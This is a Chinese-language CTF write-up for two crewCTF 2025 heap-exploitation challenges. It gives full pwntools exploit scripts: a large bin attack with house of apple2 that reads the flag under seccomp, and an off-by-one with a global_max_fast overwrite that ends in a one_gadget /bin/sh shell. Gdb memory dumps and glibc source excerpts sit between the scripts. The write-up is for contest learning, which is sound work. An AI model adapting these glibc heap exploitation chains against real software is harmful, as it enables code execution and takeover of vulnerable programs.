crewCTF2025

image-20251122120715520

heapjail-pwn

large bin attack 打 _IO_list_all

然后走house of apple2 ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#!/usr/bin/env python3
from pwncli import *

context(os='linux', arch='amd64')
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"

if args.REMOTE:
HOST,PORT = "heap-jail.chal.crewc.tf", 1337
p = remote(HOST, PORT, ssl=True)
elif args.LOCAL:
p = process("./main-patch")

r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
ii = lambda x: p.sendlineafter(' \n',x)

def add(idx,sz):
ii('1')
ii(str(idx))
ii(str(sz))

def edit(idx,cnt):
ii('2')
ii(str(idx))
s(' \n', cnt)

def free(idx):
ii('3')
ii(str(idx))

def show(idx):
ii('4')
ii(str(idx))

add(0, 0x408)
show(0)
p.recv(0x10)
a = p.recv(0x3f8)
# embed()

if args.REMOTE:
libc = int(a.strip().split(b'\n')[2].split(b' ')[0].split(b'-')[0],16)
elif args.LOCAL:
libc = int(a.strip().split(b'\n')[8].split(b' ')[0].split(b'-')[0],16)

log.success("@ libc: "+hex(libc))
add(0, 0x100)
free(0)
show(0)

heap = (u64(p.recv(8))<<12)-0x3000
log.success("@ heap: "+hex(heap))

_lock = libc+0x205700
fake = heap+0x4bd0

f1 = IO_FILE_plus_struct()
f1._lock = _lock
f1._wide_data = fake+0xe0
f1.vtable = libc+0x202228 # _IO_wfile_jumps
f1._IO_save_base = fake+0x280

svcudp_reply = libc+0x17923d
swapcontext = libc+0x5815d
pop_rdi = libc+0x10f75b # pop rdi ; ret
pop_rsi = libc+0x110a4d # pop rsi ; ret
ret = libc+0x582bb

"""
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0013
0007: 0x20 0x00 0x00 0x0000001c A = args[1] >> 32
0008: 0x25 0x05 0x00 0x00006146 if (A > 0x6146) goto 0014
0009: 0x15 0x00 0x04 0x00006146 if (A != 0x6146) goto 0014
0010: 0x20 0x00 0x00 0x00000018 A = args[1]
0011: 0x35 0x00 0x02 0xcad5b000 if (A < 0xcad5b000) goto 0014
0012: 0x35 0x01 0x00 0xcad7c000 if (A >= 0xcad7c000) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0015: 0x06 0x00 0x00 0x00000000 return KILL
"""

shellcode = """
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
mov rdi, 0x67616c662f
push rdi
mov rdi, rsp
syscall
mov rdx, 0x100
mov rsi, rdi
mov rdi, rax
mov rax, 0
syscall
mov rdi, 1
mov rax, 1
syscall
"""

data = flat({
0x20: bytes(f1)[0x30:],
0xe0: { # _wide_data->_wide_vtable
0x18: 0, # f->_wide_data->_IO_write_base
0x30: 0, # f->_wide_data->_IO_buf_base
0xe0: fake + 0x200},
0x200: {0: asm(shellcode), 0x68: svcudp_reply},
0x280: {
0x18: fake + 0x280,
0x28: swapcontext,
0x88: 7,
0xe0: fake,
0xa0: fake + 0x380,
0xa8: ret},
0x380: flat(
pop_rdi,
(fake // 0x1000) * 0x1000,
pop_rsi,
0x2000,
libc+0x125c10, # mprotect
fake + 0x200,
)}
)

add(0, 0x4e0)
add(1, 0xff8)
add(2, 0x4d0)
edit(2, data.ljust(0x4d0, b'\x00'))
free(0)
add(8, 0x600)
edit(0, flat([libc+0x203F40, libc+0x203F40, heap+0x36d0, libc+0x2044c0-0x20])) # _IO_list_all

free(2)

if args.LOCAL:
gdb.attach(p, f'break-rva 0x1B78\ndirectory ~/glibc-2.39\nb __GI__IO_wfile_overflow')#\n hb *{fake+0x200}')
add(10, 0x600)

# trigger exit
ii('3')
ii('100')

p.interactive()
# crew{L4rg3B1ns_FTW_f70c8418155de82fae43}

heapbanding-pwn

题目中

1
2
3
4
5
6
7
8
9
10
11
wsl@sockholm:/mnt/d/DESKTOP/crewctf/heapbanging$ checksec ./heap-banging
[*] '/mnt/d/DESKTOP/crewctf/heapbanging/heap-banging'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No

漏洞是一个明显的off-by-one

1
2
3
4
5
if ( buf[v7] )
{
printf("Sing along: ");
read(0, buf[v7], 0x7Au); // overwrite
}

暴力搜索内存,找到0x80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
gef> search-pattern --hex-regex "8[0-9a-f]00000000000000" 0x0000763cbe7cc000-0x0000763cbe7d2000
[+] Searching for '8[0-9a-f]00000000000000' in 0x763cbe7cc000-0x763cbe7d2000
0x763cbe7ceea0: 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
gef> search-pattern --hex-regex "7[0-9a-f]00000000000000" 0x0000763cbe7cc000-0x0000763cbe7d2000
[+] Searching for '7[0-9a-f]00000000000000' in 0x763cbe7cc000-0x763cbe7d2000
0x763cbe7cc18d: <*ABS*@got.plt+0x5> 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc45d: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc495: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc4cd: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc505: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc53d: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc575: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc5ad: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc5e5: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc61d: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc655: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc68d: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc6c5: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc725: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc775: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc865: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc965: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cc9c5: <_IO_2_1_stdin_+0x45> 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cca25: <_IO_2_1_stdin_+0xa5> 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cca5d: <_IO_2_1_stdin_+0xdd> 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7ccb45: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7ccb6d: <__realloc_hook+0x5> 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7ccbc5: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cd3dd: 76 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 | v............... |
0x763cbe7cd3f5: 76 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 | v............... |
0x763cbe7cd425: <obstack_alloc_failed_handler+0x5> 76 00 00 00 00 00 00 00 00 00 00 38 59 79 be 3c | v..........8Yy.< |
0x763cbe7cd44d: <program_invocation_name+0x5> 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
0x763cbe7cd47d: 76 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff | v............... |
0x763cbe7cd495: 76 00 00 00 00 00 00 00 00 00 00 c0 96 7c be 3c | v............|.< |
0x763cbe7cd4cd: 76 00 00 00 00 00 00 00 00 00 00 c0 a1 7c be 3c | v............|.< |
0x763cbe7cd585: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cd5a5: <_IO_list_all+0x5> 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cd665: <_IO_2_1_stderr_+0xa5> 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cd6e5: <_IO_2_1_stdout_+0x45> 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cd745: <_IO_2_1_stdout_+0xa5> 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cd79d: 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | v............... |
0x763cbe7cf605: <environ+0x5> 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |

在Dockerfile中的nsjail启动之后的内存排布就非常诡异

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007ffff7dca000 0x00007ffff7dec000 0x0000000000022000 0x0000000000000000 r-- /home/user/libc.so.6
0x00007ffff7dec000 0x00007ffff7f64000 0x0000000000178000 0x0000000000022000 r-x /home/user/libc.so.6 <- $rcx, $rip
0x00007ffff7f64000 0x00007ffff7fb2000 0x000000000004e000 0x000000000019a000 r-- /home/user/libc.so.6
0x00007ffff7fb2000 0x00007ffff7fb6000 0x0000000000004000 0x00000000001e7000 r-- /home/user/libc.so.6
0x00007ffff7fb6000 0x00007ffff7fb8000 0x0000000000002000 0x00000000001eb000 rw- /home/user/libc.so.6
0x00007ffff7fb8000 0x00007ffff7fbc000 0x0000000000004000 0x0000000000000000 rw-
0x00007ffff7fbc000 0x00007ffff7fc0000 0x0000000000004000 0x00000000001f0000 rw- /home/user/libc.so.6
0x00007ffff7fc0000 0x00007ffff7fc2000 0x0000000000002000 0x0000000000000000 rw- <tls-th1>
0x00007ffff7fc2000 0x00007ffff7fc3000 0x0000000000001000 0x0000000000000000 r-- /home/user/heap-banging
0x00007ffff7fc3000 0x00007ffff7fc4000 0x0000000000001000 0x0000000000001000 r-x /home/user/heap-banging <- $r12
0x00007ffff7fc4000 0x00007ffff7fc5000 0x0000000000001000 0x0000000000002000 r-- /home/user/heap-banging <- $r10
0x00007ffff7fc5000 0x00007ffff7fc6000 0x0000000000001000 0x0000000000002000 r-- /home/user/heap-banging
0x00007ffff7fc6000 0x00007ffff7fc7000 0x0000000000001000 0x0000000000003000 rw- /home/user/heap-banging
0x00007ffff7fc7000 0x00007ffff7fc8000 0x0000000000001000 0x0000000000005000 rw- /home/user/heap-banging
0x00007ffff7fc8000 0x00007ffff7fc9000 0x0000000000001000 0x0000000000006000 rw- /home/user/heap-banging
0x00007ffff7fc9000 0x00007ffff7fcd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7fcd000 0x00007ffff7fcf000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffff7fcf000 0x00007ffff7fd0000 0x0000000000001000 0x0000000000000000 r-- /home/user/ld-linux-x86-64.so.2
0x00007ffff7fd0000 0x00007ffff7ff3000 0x0000000000023000 0x0000000000001000 r-x /home/user/ld-linux-x86-64.so.2
0x00007ffff7ff3000 0x00007ffff7ffb000 0x0000000000008000 0x0000000000024000 r-- /home/user/ld-linux-x86-64.so.2
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000001000 0x000000000002c000 r-- /home/user/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000001000 0x000000000002d000 rw- /home/user/ld-linux-x86-64.so.2
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000001000 0x0000000000000000 rw- [heap]
0x00007ffff7fff000 0x00007ffff8020000 0x0000000000021000 0x0000000000000000 rw- [heap]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $rsp, $rbp, $rsi, $r13

solution 01

You can use a size of 0x82 and then the chunk isn’t cleaned

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
void *
__libc_calloc (size_t n, size_t elem_size)
{
...
mem = _int_malloc (av, sz);

assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));

if (!SINGLE_THREAD_P)
{
if (mem == 0 && av != NULL)
{
LIBC_PROBE (memory_calloc_retry, 1, sz);
av = arena_get_retry (av, sz);
mem = _int_malloc (av, sz);
}

if (av != NULL)
__libc_lock_unlock (av->mutex);
}

/* Allocation failed even after a retry. */
if (mem == 0)
return 0;

p = mem2chunk (mem);

/* Two optional cases in which clearing not necessary */
if (chunk_is_mmapped (p)) // 如果chunk是mmaped,那么不会memset
{
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);

return mem;
}

csz = chunksize (p);

#if MORECORE_CLEARS
if (perturb_byte == 0 && (p == oldtop && csz > oldtopsize))
{
/* clear only the bytes from non-freshly-sbrked memory */
csz = oldtopsize;
}
#endif

/* Unroll clear of <= 36 bytes (72 if 8byte sizes). We know that
contents have an odd number of INTERNAL_SIZE_T-sized words;
minimally 3. */
d = (INTERNAL_SIZE_T *) mem;
clearsize = csz - SIZE_SZ;
nclears = clearsize / sizeof (INTERNAL_SIZE_T);
assert (nclears >= 3);
// 这里正常memset calloc分配后的mem
if (nclears > 9)
return memset (d, 0, clearsize);

else
{
*(d + 0) = 0;
*(d + 1) = 0;
*(d + 2) = 0;
if (nclears > 4)
{
*(d + 3) = 0;
*(d + 4) = 0;
if (nclears > 6)
{
*(d + 5) = 0;
*(d + 6) = 0;
if (nclears > 8)
{
*(d + 7) = 0;
*(d + 8) = 0;
}
}
}
}

return mem;
}
}

可见,chunk 必须是mmaped的,calloc才会将chunk清空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*/
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)

正常我们分配的堆都是brk出来的,不是mmaped

1
|             Size of chunk, in bytes                     |A|M|P|

这里难受的点在于global_max_fast 距离 environ太远了

1
2
gef> p $1-(size_t)&global_max_fast
$4 = 0x760

至少需要写15-16个0x80大小的chunk,这也太困难了,构造很费劲,因为操作的总次数ops被限制为0x40,而每次的fastbin 都要free edit malloc malloc,ops不够用

哎,堆风水,注意一下细节就够用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64')

r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
ii = lambda x: p.sendafter('>> ', x.ljust(0x8,'\x00'))

if args.r:
HOST,PORT = "heap-banging.chal.crewc.tf", 1337
p = remote(HOST, PORT, ssl=True)
else:
context.log_level = 'debug'
p = process('./heap-banging-patch')

def malloc():
ii('1')

def show(idx):
ii('2')
s(': ', str(idx).ljust(0x8,'\0'))

def edit(idx, cnt):
ii('3')
s(': ', str(idx).ljust(0x8,'\0'))
p.send(cnt)

def free(idx):
ii('4')
s(': ', str(idx).ljust(0x8,'\0'))

def z():
if not args.r:
context.terminal = ['tmux','sp','-h']
context.log_level = 'debug'
gdb.attach(p, 'break-rva 0x1361\nbreak-rva 0x153B')

for i in range(0x1c):
malloc()

edit(0, '\x00'*0x78+'\x01\x0b')
free(1)
malloc() # 0x18
show(2)
r(': ')
libc = u64(p.recv(8))-0x1ecbe0
log.success("@ libc: "+hex(libc))

free(0)
for i in range(0x1c,0x16,-1):
free(i)

# global_max_fast = 0x1eeea0
malloc()
for i in range(14):
free(29) if i==0 else free(28+2*i)
edit(2, p64(libc+0x1eee98+0x80*i))
malloc()
malloc()
if i==13:
edit(31+2*i, b'\x00'*0x68+b'\x82\x00')
else:
edit(31+2*i, b'\x00'*0x78+b'\x82\x00')

free(56)
edit(2, p64(libc+0x1ef588))
malloc()
malloc()
show(59)
r(': ')
r('\0'*0x68)
stack = u64(p.recv(8))
log.success("@ stack: "+hex(stack))

one = libc+0xe3afe
# leaking stack
free(58)
edit(2, p64(stack-0x334))
malloc()
free(0x82)
malloc()

z()
edit(61, b'\0'*0x4+flat(libc+0x1eee48))
edit(2, '/bin/sh\0')
edit(1, p64(libc+0x52290))

free(2)

p.interactive()

solution 02

转到largebin attack

堆风水够造,largebin attack打stderr,然后打malloc_assert触发io调用链

solution 03

还是继续